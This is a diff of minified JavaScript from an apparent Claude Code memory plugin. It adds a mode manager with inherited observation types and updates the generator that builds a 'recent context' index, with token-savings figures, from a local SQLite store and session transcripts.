T=this.db.prepare(l).all(p,u,...c),A=this.db.prepare(E).all(p,u,...c),g=this.db.prepare(R).all(p,u,...c);return{observations:T,sessions:A.map(r=>({id:r.id,sdk_session_id:r.sdk_session_id,project:r.project,request:r.request,completed:r.completed,next_steps:r.next_steps,created_at:r.created_at,created_at_epoch:r.created_at_epoch})),prompts:g.map(r=>({id:r.id,claude_session_id:r.claude_session_id,prompt_number:r.prompt_number,prompt_text:r.prompt_text,project:r.project,created_at:r.created_at,created_at_epoch:r.created_at_epoch}))}}catch(T){return console.error("[SessionStore] Error querying timeline records:",T.message,i?`(project: ${i})`:"(all projects)"),{observations:[],sessions:[],prompts:[]}}}getPromptById(e){return this.db.prepare(` SELECT p.id, p.claude_session_id, @@ -512,8 +512,8 @@ ${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let s=Obje claude_session_id, prompt_number, prompt_text, created_at, created_at_epoch ) VALUES (?, ?, ?, ?, ?) - `).run(e.claude_session_id,e.prompt_number,e.prompt_text,e.created_at,e.created_at_epoch).lastInsertRowid}}};var ae=se(require("path"),1);function de(a){if(!a)return[];try{let e=JSON.parse(a);return Array.isArray(e)?e:[]}catch{return[]}}function Le(a){return new Date(a).toLocaleString("en-US",{month:"short",day:"numeric",hour:"numeric",minute:"2-digit",hour12:!0})}function Ce(a){return new Date(a).toLocaleString("en-US",{hour:"numeric",minute:"2-digit",hour12:!0})}function ve(a){return new Date(a).toLocaleString("en-US",{month:"short",day:"numeric",year:"numeric"})}function Ke(a,e){return ae.default.isAbsolute(a)?ae.default.relative(e,a):a}function ye(a,e){let s=de(a);return s.length>0?Ke(s[0],e):"General"}var De=se(require("path"),1);function Me(a){if(!a||a.trim()==="")return A.warn("PROJECT_NAME","Empty cwd provided, using fallback",{cwd:a}),"unknown-project";let e=De.default.basename(a);if(e===""){if(process.platform==="win32"){let t=a.match(/^([A-Z]):\\/i);if(t){let i=`drive-${t[1].toUpperCase()}`;return A.info("PROJECT_NAME","Drive root detected",{cwd:a,projectName:i}),i}}return A.warn("PROJECT_NAME","Root directory detected, using fallback",{cwd:a}),"unknown-project"}return e}var qe=J.default.join((0,Q.homedir)(),".claude","plugins","marketplaces","thedotmack","plugin",".install-version");function Je(){let a=J.default.join((0,Q.homedir)(),".claude-mem","settings.json"),e=k.loadFromFile(a);try{return{totalObservationCount:parseInt(e.CLAUDE_MEM_CONTEXT_OBSERVATIONS,10),fullObservationCount:parseInt(e.CLAUDE_MEM_CONTEXT_FULL_COUNT,10),sessionCount:parseInt(e.CLAUDE_MEM_CONTEXT_SESSION_COUNT,10),showReadTokens:e.CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS==="true",showWorkTokens:e.CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS==="true",showSavingsAmount:e.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT==="true",showSavingsPercent:e.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT==="true",observationTypes:new Set(e.CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES.split(",").map(s=>s.trim()).filter(Boolean)),observationConcepts:new Set(e.CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS.split(",").map(s=>s.trim()).filter(Boolean)),fullObservationField:e.CLAUDE_MEM_CONTEXT_FULL_FIELD,showLastSummary:e.CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY==="true",showLastMessage:e.CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE==="true"}}catch(s){return A.warn("WORKER","Failed to load context settings, using defaults",{},s),{totalObservationCount:50,fullObservationCount:5,sessionCount:10,showReadTokens:!0,showWorkTokens:!0,showSavingsAmount:!0,showSavingsPercent:!0,observationTypes:new Set(te),observationConcepts:new Set(re),fullObservationField:"narrative",showLastSummary:!0,showLastMessage:!1}}}var ke=4,Qe=1,o={reset:"\x1B[0m",bright:"\x1B[1m",dim:"\x1B[2m",cyan:"\x1B[36m",green:"\x1B[32m",yellow:"\x1B[33m",blue:"\x1B[34m",magenta:"\x1B[35m",gray:"\x1B[90m",red:"\x1B[31m"};function q(a,e,s,t){return e?t?[`${s}${a}:${o.reset} ${e}`,""]:[`**${a}**: ${e}`,""]:[]}function ze(a){return a.replace(/\//g,"-")}function Ze(a){try{if(!(0,j.existsSync)(a))return{userMessage:"",assistantMessage:""};let e=(0,j.readFileSync)(a,"utf-8").trim();if(!e)return{userMessage:"",assistantMessage:""};let s=e.split(` -`).filter(n=>n.trim()),t="";for(let n=s.length-1;n>=0;n--)try{let i=s[n];if(!i.includes('"type":"assistant"'))continue;let d=JSON.parse(i);if(d.type==="assistant"&&d.message?.content&&Array.isArray(d.message.content)){let c="";for(let _ of d.message.content)_.type==="text"&&(c+=_.text);if(c=c.replace(/[\s\S]*?<\/system-reminder>/g,"").trim(),c){t=c;break}}}catch{continue}return{userMessage:"",assistantMessage:t}}catch(e){return A.failure("WORKER","Failed to extract prior messages from transcript",{transcriptPath:a},e),{userMessage:"",assistantMessage:""}}}async function es(a,e=!1){let s=Je(),t=a?.cwd??process.cwd(),n=Me(t),i=null;try{i=new K}catch(N){if(N.code==="ERR_DLOPEN_FAILED"){try{(0,j.unlinkSync)(qe)}catch{}return console.error("Native module rebuild needed - restart Claude Code to auto-fix"),""}throw N}let d=Array.from(s.observationTypes),c=d.map(()=>"?").join(","),_=Array.from(s.observationConcepts),u=_.map(()=>"?").join(","),l=i.db.prepare(` + `).run(e.claude_session_id,e.prompt_number,e.prompt_text,e.created_at,e.created_at_epoch).lastInsertRowid}}};var ce=ie(require("path"),1);function pe(d){if(!d)return[];try{let e=JSON.parse(d);return Array.isArray(e)?e:[]}catch{return[]}}function ve(d){return new Date(d).toLocaleString("en-US",{month:"short",day:"numeric",hour:"numeric",minute:"2-digit",hour12:!0})}function ye(d){return new Date(d).toLocaleString("en-US",{hour:"numeric",minute:"2-digit",hour12:!0})}function De(d){return new Date(d).toLocaleString("en-US",{month:"short",day:"numeric",year:"numeric"})}function Qe(d,e){return ce.default.isAbsolute(d)?ce.default.relative(e,d):d}function Me(d,e){let s=pe(d);return s.length>0?Qe(s[0],e):"General"}var ke=ie(require("path"),1);function $e(d){if(!d||d.trim()==="")return h.warn("PROJECT_NAME","Empty cwd provided, using fallback",{cwd:d}),"unknown-project";let e=ke.default.basename(d);if(e===""){if(process.platform==="win32"){let t=d.match(/^([A-Z]):\\/i);if(t){let i=`drive-${t[1].toUpperCase()}`;return h.info("PROJECT_NAME","Drive root detected",{cwd:d,projectName:i}),i}}return h.warn("PROJECT_NAME","Root directory detected, using fallback",{cwd:d}),"unknown-project"}return e}var G=require("fs"),z=require("path");var W=class d{static instance=null;activeMode=null;modesDir;constructor(){let e=Le(),s=[(0,z.join)(e,"modes"),(0,z.join)(e,"..","plugin","modes")],t=s.find(n=>(0,G.existsSync)(n));this.modesDir=t||s[0]}static getInstance(){return d.instance||(d.instance=new d),d.instance}parseInheritance(e){let s=e.split("--");if(s.length===1)return{hasParent:!1,parentId:"",overrideId:""};if(s.length>2)throw new Error(`Invalid mode inheritance: ${e}. Only one level of inheritance supported (parent--override)`);return{hasParent:!0,parentId:s[0],overrideId:e}}isPlainObject(e){return e!==null&&typeof e=="object"&&!Array.isArray(e)}deepMerge(e,s){let t={...e};for(let n in s){let i=s[n],a=e[n];this.isPlainObject(i)&&this.isPlainObject(a)?t[n]=this.deepMerge(a,i):t[n]=i}return t}loadModeFile(e){let s=(0,z.join)(this.modesDir,`${e}.json`);if(!(0,G.existsSync)(s))throw new Error(`Mode file not found: ${s}`);let t=(0,G.readFileSync)(s,"utf-8");return JSON.parse(t)}loadMode(e){let s=this.parseInheritance(e);if(!s.hasParent)try{let p=this.loadModeFile(e);return this.activeMode=p,h.debug("SYSTEM",`Loaded mode: ${p.name} (${e})`,void 0,{types:p.observation_types.map(u=>u.id),concepts:p.observation_concepts.map(u=>u.id)}),p}catch{if(h.warn("SYSTEM",`Mode file not found: ${e}, falling back to 'code'`),e==="code")throw new Error("Critical: code.json mode file missing");return this.loadMode("code")}let{parentId:t,overrideId:n}=s,i;try{i=this.loadMode(t)}catch{h.warn("SYSTEM",`Parent mode '${t}' not found for ${e}, falling back to 'code'`),i=this.loadMode("code")}let a;try{a=this.loadModeFile(n),h.debug("SYSTEM",`Loaded override file: ${n} for parent ${t}`)}catch{return h.warn("SYSTEM",`Override file '${n}' not found, using parent mode '${t}' only`),this.activeMode=i,i}if(!a)return h.warn("SYSTEM",`Invalid override file: ${n}, using parent mode '${t}' only`),this.activeMode=i,i;let c=this.deepMerge(i,a);return this.activeMode=c,h.debug("SYSTEM",`Loaded mode with inheritance: ${c.name} (${e} = ${t} + ${n})`,void 0,{parent:t,override:n,types:c.observation_types.map(p=>p.id),concepts:c.observation_concepts.map(p=>p.id)}),c}getActiveMode(){if(!this.activeMode)throw new Error("No mode loaded. Call loadMode() first.");return this.activeMode}getObservationTypes(){return this.getActiveMode().observation_types}getObservationConcepts(){return this.getActiveMode().observation_concepts}getTypeIcon(e){return this.getObservationTypes().find(t=>t.id===e)?.emoji||"\u{1F4DD}"}getWorkEmoji(e){return this.getObservationTypes().find(t=>t.id===e)?.work_emoji||"\u{1F4DD}"}validateType(e){return this.getObservationTypes().some(s=>s.id===e)}getTypeLabel(e){return this.getObservationTypes().find(t=>t.id===e)?.label||e}};var ze=ee.default.join((0,se.homedir)(),".claude","plugins","marketplaces","thedotmack","plugin",".install-version");function Ze(){let d=ee.default.join((0,se.homedir)(),".claude-mem","settings.json"),e=$.loadFromFile(d);return{totalObservationCount:parseInt(e.CLAUDE_MEM_CONTEXT_OBSERVATIONS,10),fullObservationCount:parseInt(e.CLAUDE_MEM_CONTEXT_FULL_COUNT,10),sessionCount:parseInt(e.CLAUDE_MEM_CONTEXT_SESSION_COUNT,10),showReadTokens:e.CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS==="true",showWorkTokens:e.CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS==="true",showSavingsAmount:e.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT==="true",showSavingsPercent:e.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT==="true",observationTypes:new Set(e.CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES.split(",").map(s=>s.trim()).filter(Boolean)),observationConcepts:new Set(e.CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS.split(",").map(s=>s.trim()).filter(Boolean)),fullObservationField:e.CLAUDE_MEM_CONTEXT_FULL_FIELD,showLastSummary:e.CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY==="true",showLastMessage:e.CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE==="true"}}var Ue=4,es=1,o={reset:"\x1B[0m",bright:"\x1B[1m",dim:"\x1B[2m",cyan:"\x1B[36m",green:"\x1B[32m",yellow:"\x1B[33m",blue:"\x1B[34m",magenta:"\x1B[35m",gray:"\x1B[90m",red:"\x1B[31m"};function Z(d,e,s,t){return e?t?[`${s}${d}:${o.reset} ${e}`,""]:[`**${d}**: ${e}`,""]:[]}function ss(d){return d.replace(/\//g,"-")}function ts(d){try{if(!(0,H.existsSync)(d))return{userMessage:"",assistantMessage:""};let e=(0,H.readFileSync)(d,"utf-8").trim();if(!e)return{userMessage:"",assistantMessage:""};let s=e.split(` +`).filter(n=>n.trim()),t="";for(let n=s.length-1;n>=0;n--)try{let i=s[n];if(!i.includes('"type":"assistant"'))continue;let a=JSON.parse(i);if(a.type==="assistant"&&a.message?.content&&Array.isArray(a.message.content)){let c="";for(let p of a.message.content)p.type==="text"&&(c+=p.text);if(c=c.replace(/[\s\S]*?<\/system-reminder>/g,"").trim(),c){t=c;break}}}catch{continue}return{userMessage:"",assistantMessage:t}}catch(e){return h.failure("WORKER","Failed to extract prior messages from transcript",{transcriptPath:d},e),{userMessage:"",assistantMessage:""}}}async function rs(d,e=!1){let s=Ze(),t=d?.cwd??process.cwd(),n=$e(t),i=null;try{i=new Q}catch(I){if(I.code==="ERR_DLOPEN_FAILED"){try{(0,H.unlinkSync)(ze)}catch{}return console.error("Native module rebuild needed - restart Claude Code to auto-fix"),""}throw I}let a=Array.from(s.observationTypes),c=a.map(()=>"?").join(","),p=Array.from(s.observationConcepts),u=p.map(()=>"?").join(","),l=i.db.prepare(` SELECT id, sdk_session_id, type, title, subtitle, narrative, facts, concepts, files_read, files_modified, discovery_tokens, @@ -527,19 +527,19 @@ ${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let s=Obje ) ORDER BY created_at_epoch DESC LIMIT ? - `).all(n,...d,..._,s.totalObservationCount),E=i.db.prepare(` + `).all(n,...a,...p,s.totalObservationCount),E=i.db.prepare(` SELECT id, sdk_session_id, request, investigated, learned, completed, next_steps, created_at, created_at_epoch FROM session_summaries WHERE project = ? ORDER BY created_at_epoch DESC LIMIT ? - `).all(n,s.sessionCount+Qe),b="",T="";if(s.showLastMessage&&l.length>0)try{let N=a?.session_id,O=l.find(f=>f.sdk_session_id!==N);if(O){let f=O.sdk_session_id,y=ze(t),w=J.default.join((0,Q.homedir)(),".claude","projects",y,`${f}.jsonl`),W=Ze(w);b=W.userMessage,T=W.assistantMessage}}catch{}if(l.length===0&&E.length===0)return i?.close(),e?` + `).all(n,s.sessionCount+es),R="",T="";if(s.showLastMessage&&l.length>0){let I=d?.session_id,O=l.find(D=>D.sdk_session_id!==I);if(O){let D=O.sdk_session_id,U=ss(t),N=ee.default.join((0,se.homedir)(),".claude","projects",U,`${D}.jsonl`),y=ts(N);R=y.userMessage,T=y.assistantMessage}}if(l.length===0&&E.length===0)return i?.close(),e?` ${o.bright}${o.cyan}[${n}] recent context${o.reset} ${o.gray}${"\u2500".repeat(60)}${o.reset} ${o.dim}No previous sessions found for this project yet.${o.reset} `:`# [${n}] recent context -No previous sessions found for this project yet.`;let I=E.slice(0,s.sessionCount),g=l,r=[];if(e?(r.push(""),r.push(`${o.bright}${o.cyan}[${n}] recent context${o.reset}`),r.push(`${o.gray}${"\u2500".repeat(60)}${o.reset}`),r.push("")):(r.push(`# [${n}] recent context`),r.push("")),g.length>0){e?r.push(`${o.dim}Legend: \u{1F3AF} session-request | \u{1F534} bugfix | \u{1F7E3} feature | \u{1F504} refactor | \u2705 change | \u{1F535} discovery | \u2696\uFE0F decision${o.reset}`):r.push("**Legend:** \u{1F3AF} session-request | \u{1F534} bugfix | \u{1F7E3} feature | \u{1F504} refactor | \u2705 change | \u{1F535} discovery | \u2696\uFE0F decision"),r.push(""),e?(r.push(`${o.bright}\u{1F4A1} Column Key${o.reset}`),r.push(`${o.dim} Read: Tokens to read this observation (cost to learn it now)${o.reset}`),r.push(`${o.dim} Work: Tokens spent on work that produced this record (\u{1F50D} research, \u{1F6E0}\uFE0F building, \u2696\uFE0F deciding)${o.reset}`)):(r.push("\u{1F4A1} **Column Key**:"),r.push("- **Read**: Tokens to read this observation (cost to learn it now)"),r.push("- **Work**: Tokens spent on work that produced this record (\u{1F50D} research, \u{1F6E0}\uFE0F building, \u2696\uFE0F deciding)")),r.push(""),e?(r.push(`${o.dim}\u{1F4A1} Context Index: This semantic index (titles, types, files, tokens) is usually sufficient to understand past work.${o.reset}`),r.push(""),r.push(`${o.dim}When you need implementation details, rationale, or debugging context:${o.reset}`),r.push(`${o.dim} - Use the mem-search skill to fetch full observations on-demand${o.reset}`),r.push(`${o.dim} - Critical types (\u{1F534} bugfix, \u2696\uFE0F decision) often need detailed fetching${o.reset}`),r.push(`${o.dim} - Trust this index over re-reading code for past decisions and learnings${o.reset}`)):(r.push("\u{1F4A1} **Context Index:** This semantic index (titles, types, files, tokens) is usually sufficient to understand past work."),r.push(""),r.push("When you need implementation details, rationale, or debugging context:"),r.push("- Use the mem-search skill to fetch full observations on-demand"),r.push("- Critical types (\u{1F534} bugfix, \u2696\uFE0F decision) often need detailed fetching"),r.push("- Trust this index over re-reading code for past decisions and learnings")),r.push("");let N=l.length,O=l.reduce((p,h)=>{let S=(h.title?.length||0)+(h.subtitle?.length||0)+(h.narrative?.length||0)+JSON.stringify(h.facts||[]).length;return p+Math.ceil(S/ke)},0),f=l.reduce((p,h)=>p+(h.discovery_tokens||0),0),y=f-O,w=f>0?Math.round(y/f*100):0,W=s.showReadTokens||s.showWorkTokens||s.showSavingsAmount||s.showSavingsPercent;if(W)if(e){if(r.push(`${o.bright}${o.cyan}\u{1F4CA} Context Economics${o.reset}`),r.push(`${o.dim} Loading: ${N} observations (${O.toLocaleString()} tokens to read)${o.reset}`),r.push(`${o.dim} Work investment: ${f.toLocaleString()} tokens spent on research, building, and decisions${o.reset}`),f>0&&(s.showSavingsAmount||s.showSavingsPercent)){let p=" Your savings: ";s.showSavingsAmount&&s.showSavingsPercent?p+=`${y.toLocaleString()} tokens (${w}% reduction from reuse)`:s.showSavingsAmount?p+=`${y.toLocaleString()} tokens`:p+=`${w}% reduction from reuse`,r.push(`${o.green}${p}${o.reset}`)}r.push("")}else{if(r.push("\u{1F4CA} **Context Economics**:"),r.push(`- Loading: ${N} observations (${O.toLocaleString()} tokens to read)`),r.push(`- Work investment: ${f.toLocaleString()} tokens spent on research, building, and decisions`),f>0&&(s.showSavingsAmount||s.showSavingsPercent)){let p="- Your savings: ";s.showSavingsAmount&&s.showSavingsPercent?p+=`${y.toLocaleString()} tokens (${w}% reduction from reuse)`:s.showSavingsAmount?p+=`${y.toLocaleString()} tokens`:p+=`${w}% reduction from reuse`,r.push(p)}r.push("")}let $e=E[0]?.id,Ue=I.map((p,h)=>{let S=h===0?null:E[h+1];return{...p,displayEpoch:S?S.created_at_epoch:p.created_at_epoch,displayTime:S?S.created_at:p.created_at,shouldShowLink:p.id!==$e}}),xe=new Set(l.slice(0,s.fullObservationCount).map(p=>p.id)),ce=[...g.map(p=>({type:"observation",data:p})),...Ue.map(p=>({type:"summary",data:p}))];ce.sort((p,h)=>{let S=p.type==="observation"?p.data.created_at_epoch:p.data.displayEpoch,D=h.type==="observation"?h.data.created_at_epoch:h.data.displayEpoch;return S-D});let H=new Map;for(let p of ce){let h=p.type==="observation"?p.data.created_at:p.data.displayTime,S=ve(h);H.has(S)||H.set(S,[]),H.get(S).push(p)}let we=Array.from(H.entries()).sort((p,h)=>{let S=new Date(p[0]).getTime(),D=new Date(h[0]).getTime();return S-D});for(let[p,h]of we){e?(r.push(`${o.bright}${o.cyan}${p}${o.reset}`),r.push("")):(r.push(`### ${p}`),r.push(""));let S=null,D="",$=!1;for(let z of h)if(z.type==="summary"){$&&(r.push(""),$=!1,S=null,D="");let m=z.data,U=`${m.request||"Session started"} (${Le(m.displayTime)})`;e?r.push(`\u{1F3AF} ${o.yellow}#S${m.id}${o.reset} ${U}`):r.push(`**\u{1F3AF} #S${m.id}** ${U}`),r.push("")}else{let m=z.data,U=ye(m.files_modified,t);U!==S&&($&&r.push(""),e?r.push(`${o.dim}${U}${o.reset}`):r.push(`**${U}**`),e||(r.push("| ID | Time | T | Title | Read | Work |"),r.push("|----|------|---|-------|------|------|")),S=U,$=!0,D="");let x=Ce(m.created_at),B=m.title||"Untitled",G=Ee[m.type]||"\u2022",Fe=(m.title?.length||0)+(m.subtitle?.length||0)+(m.narrative?.length||0)+JSON.stringify(m.facts||[]).length,F=Math.ceil(Fe/ke),P=m.discovery_tokens||0,Z=Te[m.type]||"\u{1F50D}",_e=P>0?`${Z} ${P.toLocaleString()}`:"-",ee=x!==D,ue=ee?x:"";if(D=x,xe.has(m.id)){let M=s.fullObservationField==="narrative"?m.narrative:m.facts?de(m.facts).join(` -`):null;if(e){let C=ee?`${o.dim}${x}${o.reset}`:" ".repeat(x.length),Y=s.showReadTokens&&F>0?`${o.dim}(~${F}t)${o.reset}`:"",le=s.showWorkTokens&&P>0?`${o.dim}(${Z} ${P.toLocaleString()}t)${o.reset}`:"";r.push(` ${o.dim}#${m.id}${o.reset} ${C} ${G} ${o.bright}${B}${o.reset}`),M&&r.push(` ${o.dim}${M}${o.reset}`),(Y||le)&&r.push(` ${Y} ${le}`),r.push("")}else{$&&(r.push(""),$=!1),r.push(`**#${m.id}** ${ue||"\u2033"} ${G} **${B}**`),M&&(r.push(""),r.push(M),r.push(""));let C=[];s.showReadTokens&&C.push(`Read: ~${F}`),s.showWorkTokens&&C.push(`Work: ${_e}`),C.length>0&&r.push(C.join(", ")),r.push(""),S=null}}else if(e){let M=ee?`${o.dim}${x}${o.reset}`:" ".repeat(x.length),C=s.showReadTokens&&F>0?`${o.dim}(~${F}t)${o.reset}`:"",Y=s.showWorkTokens&&P>0?`${o.dim}(${Z} ${P.toLocaleString()}t)${o.reset}`:"";r.push(` ${o.dim}#${m.id}${o.reset} ${M} ${G} ${B} ${C} ${Y}`)}else{let M=s.showReadTokens?`~${F}`:"",C=s.showWorkTokens?_e:"";r.push(`| #${m.id} | ${ue||"\u2033"} | ${G} | ${B} | ${M} | ${C} |`)}}$&&r.push("")}let L=E[0],pe=l[0];if(s.showLastSummary&&L&&(L.investigated||L.learned||L.completed||L.next_steps)&&(!pe||L.created_at_epoch>pe.created_at_epoch)&&(r.push(...q("Investigated",L.investigated,o.blue,e)),r.push(...q("Learned",L.learned,o.yellow,e)),r.push(...q("Completed",L.completed,o.green,e)),r.push(...q("Next Steps",L.next_steps,o.magenta,e))),T&&(r.push(""),r.push("---"),r.push(""),e?(r.push(`${o.bright}${o.magenta}\u{1F4CB} Previously${o.reset}`),r.push(""),r.push(`${o.dim}A: ${T}${o.reset}`)):(r.push("**\u{1F4CB} Previously**"),r.push(""),r.push(`A: ${T}`)),r.push("")),W&&f>0&&y>0){let p=Math.round(f/1e3);r.push(""),e?r.push(`${o.dim}\u{1F4B0} Access ${p}k tokens of past research & decisions for just ${O.toLocaleString()}t. Use the mem-search skill to access memories by ID instead of re-reading files.${o.reset}`):r.push(`\u{1F4B0} Access ${p}k tokens of past research & decisions for just ${O.toLocaleString()}t. Use the mem-search skill to access memories by ID instead of re-reading files.`)}}return i?.close(),r.join(` +No previous sessions found for this project yet.`;let A=E.slice(0,s.sessionCount),g=l,r=[];if(e?(r.push(""),r.push(`${o.bright}${o.cyan}[${n}] recent context${o.reset}`),r.push(`${o.gray}${"\u2500".repeat(60)}${o.reset}`),r.push("")):(r.push(`# [${n}] recent context`),r.push("")),g.length>0){let O=W.getInstance().getActiveMode().observation_types.map(_=>`${_.emoji} ${_.id}`).join(" | ");e?r.push(`${o.dim}Legend: \u{1F3AF} session-request | ${O}${o.reset}`):r.push(`**Legend:** \u{1F3AF} session-request | ${O}`),r.push(""),e?(r.push(`${o.bright}\u{1F4A1} Column Key${o.reset}`),r.push(`${o.dim} Read: Tokens to read this observation (cost to learn it now)${o.reset}`),r.push(`${o.dim} Work: Tokens spent on work that produced this record (\u{1F50D} research, \u{1F6E0}\uFE0F building, \u2696\uFE0F deciding)${o.reset}`)):(r.push("\u{1F4A1} **Column Key**:"),r.push("- **Read**: Tokens to read this observation (cost to learn it now)"),r.push("- **Work**: Tokens spent on work that produced this record (\u{1F50D} research, \u{1F6E0}\uFE0F building, \u2696\uFE0F deciding)")),r.push(""),e?(r.push(`${o.dim}\u{1F4A1} Context Index: This semantic index (titles, types, files, tokens) is usually sufficient to understand past work.${o.reset}`),r.push(""),r.push(`${o.dim}When you need implementation details, rationale, or debugging context:${o.reset}`),r.push(`${o.dim} - Use the mem-search skill to fetch full observations on-demand${o.reset}`),r.push(`${o.dim} - Critical types (\u{1F534} bugfix, \u2696\uFE0F decision) often need detailed fetching${o.reset}`),r.push(`${o.dim} - Trust this index over re-reading code for past decisions and learnings${o.reset}`)):(r.push("\u{1F4A1} **Context Index:** This semantic index (titles, types, files, tokens) is usually sufficient to understand past work."),r.push(""),r.push("When you need implementation details, rationale, or debugging context:"),r.push("- Use the mem-search skill to fetch full observations on-demand"),r.push("- Critical types (\u{1F534} bugfix, \u2696\uFE0F decision) often need detailed fetching"),r.push("- Trust this index over re-reading code for past decisions and learnings")),r.push("");let D=l.length,U=l.reduce((_,S)=>{let b=(S.title?.length||0)+(S.subtitle?.length||0)+(S.narrative?.length||0)+JSON.stringify(S.facts||[]).length;return _+Math.ceil(b/Ue)},0),N=l.reduce((_,S)=>_+(S.discovery_tokens||0),0),y=N-U,B=N>0?Math.round(y/N*100):0,_e=s.showReadTokens||s.showWorkTokens||s.showSavingsAmount||s.showSavingsPercent;if(_e)if(e){if(r.push(`${o.bright}${o.cyan}\u{1F4CA} Context Economics${o.reset}`),r.push(`${o.dim} Loading: ${D} observations (${U.toLocaleString()} tokens to read)${o.reset}`),r.push(`${o.dim} Work investment: ${N.toLocaleString()} tokens spent on research, building, and decisions${o.reset}`),N>0&&(s.showSavingsAmount||s.showSavingsPercent)){let _=" Your savings: ";s.showSavingsAmount&&s.showSavingsPercent?_+=`${y.toLocaleString()} tokens (${B}% reduction from reuse)`:s.showSavingsAmount?_+=`${y.toLocaleString()} tokens`:_+=`${B}% reduction from reuse`,r.push(`${o.green}${_}${o.reset}`)}r.push("")}else{if(r.push("\u{1F4CA} **Context Economics**:"),r.push(`- Loading: ${D} observations (${U.toLocaleString()} tokens to read)`),r.push(`- Work investment: ${N.toLocaleString()} tokens spent on research, building, and decisions`),N>0&&(s.showSavingsAmount||s.showSavingsPercent)){let _="- Your savings: ";s.showSavingsAmount&&s.showSavingsPercent?_+=`${y.toLocaleString()} tokens (${B}% reduction from reuse)`:s.showSavingsAmount?_+=`${y.toLocaleString()} tokens`:_+=`${B}% reduction from reuse`,r.push(_)}r.push("")}let xe=E[0]?.id,we=A.map((_,S)=>{let b=S===0?null:E[S+1];return{..._,displayEpoch:b?b.created_at_epoch:_.created_at_epoch,displayTime:b?b.created_at:_.created_at,shouldShowLink:_.id!==xe}}),Fe=new Set(l.slice(0,s.fullObservationCount).map(_=>_.id)),ue=[...g.map(_=>({type:"observation",data:_})),...we.map(_=>({type:"summary",data:_}))];ue.sort((_,S)=>{let b=_.type==="observation"?_.data.created_at_epoch:_.data.displayEpoch,M=S.type==="observation"?S.data.created_at_epoch:S.data.displayEpoch;return b-M});let Y=new Map;for(let _ of ue){let S=_.type==="observation"?_.data.created_at:_.data.displayTime,b=De(S);Y.has(b)||Y.set(b,[]),Y.get(b).push(_)}let Xe=Array.from(Y.entries()).sort((_,S)=>{let b=new Date(_[0]).getTime(),M=new Date(S[0]).getTime();return b-M});for(let[_,S]of Xe){e?(r.push(`${o.bright}${o.cyan}${_}${o.reset}`),r.push("")):(r.push(`### ${_}`),r.push(""));let b=null,M="",x=!1;for(let te of S)if(te.type==="summary"){x&&(r.push(""),x=!1,b=null,M="");let m=te.data,w=`${m.request||"Session started"} (${ve(m.displayTime)})`;e?r.push(`\u{1F3AF} ${o.yellow}#S${m.id}${o.reset} ${w}`):r.push(`**\u{1F3AF} #S${m.id}** ${w}`),r.push("")}else{let m=te.data,w=Me(m.files_modified,t);w!==b&&(x&&r.push(""),e?r.push(`${o.dim}${w}${o.reset}`):r.push(`**${w}**`),e||(r.push("| ID | Time | T | Title | Read | Work |"),r.push("|----|------|---|-------|------|------|")),b=w,x=!0,M="");let F=ye(m.created_at),V=m.title||"Untitled",K=W.getInstance().getTypeIcon(m.type),Pe=(m.title?.length||0)+(m.subtitle?.length||0)+(m.narrative?.length||0)+JSON.stringify(m.facts||[]).length,X=Math.ceil(Pe/Ue),P=m.discovery_tokens||0,re=W.getInstance().getWorkEmoji(m.type),me=P>0?`${re} ${P.toLocaleString()}`:"-",ne=F!==M,Ee=ne?F:"";if(M=F,Fe.has(m.id)){let k=s.fullObservationField==="narrative"?m.narrative:m.facts?pe(m.facts).join(` +`):null;if(e){let C=ne?`${o.dim}${F}${o.reset}`:" ".repeat(F.length),q=s.showReadTokens&&X>0?`${o.dim}(~${X}t)${o.reset}`:"",Te=s.showWorkTokens&&P>0?`${o.dim}(${re} ${P.toLocaleString()}t)${o.reset}`:"";r.push(` ${o.dim}#${m.id}${o.reset} ${C} ${K} ${o.bright}${V}${o.reset}`),k&&r.push(` ${o.dim}${k}${o.reset}`),(q||Te)&&r.push(` ${q} ${Te}`),r.push("")}else{x&&(r.push(""),x=!1),r.push(`**#${m.id}** ${Ee||"\u2033"} ${K} **${V}**`),k&&(r.push(""),r.push(k),r.push(""));let C=[];s.showReadTokens&&C.push(`Read: ~${X}`),s.showWorkTokens&&C.push(`Work: ${me}`),C.length>0&&r.push(C.join(", ")),r.push(""),b=null}}else if(e){let k=ne?`${o.dim}${F}${o.reset}`:" ".repeat(F.length),C=s.showReadTokens&&X>0?`${o.dim}(~${X}t)${o.reset}`:"",q=s.showWorkTokens&&P>0?`${o.dim}(${re} ${P.toLocaleString()}t)${o.reset}`:"";r.push(` ${o.dim}#${m.id}${o.reset} ${k} ${K} ${V} ${C} ${q}`)}else{let k=s.showReadTokens?`~${X}`:"",C=s.showWorkTokens?me:"";r.push(`| #${m.id} | ${Ee||"\u2033"} | ${K} | ${V} | ${k} | ${C} |`)}}x&&r.push("")}let L=E[0],le=l[0];if(s.showLastSummary&&L&&(L.investigated||L.learned||L.completed||L.next_steps)&&(!le||L.created_at_epoch>le.created_at_epoch)&&(r.push(...Z("Investigated",L.investigated,o.blue,e)),r.push(...Z("Learned",L.learned,o.yellow,e)),r.push(...Z("Completed",L.completed,o.green,e)),r.push(...Z("Next Steps",L.next_steps,o.magenta,e))),T&&(r.push(""),r.push("---"),r.push(""),e?(r.push(`${o.bright}${o.magenta}\u{1F4CB} Previously${o.reset}`),r.push(""),r.push(`${o.dim}A: ${T}${o.reset}`)):(r.push("**\u{1F4CB} Previously**"),r.push(""),r.push(`A: ${T}`)),r.push("")),_e&&N>0&&y>0){let _=Math.round(N/1e3);r.push(""),e?r.push(`${o.dim}\u{1F4B0} 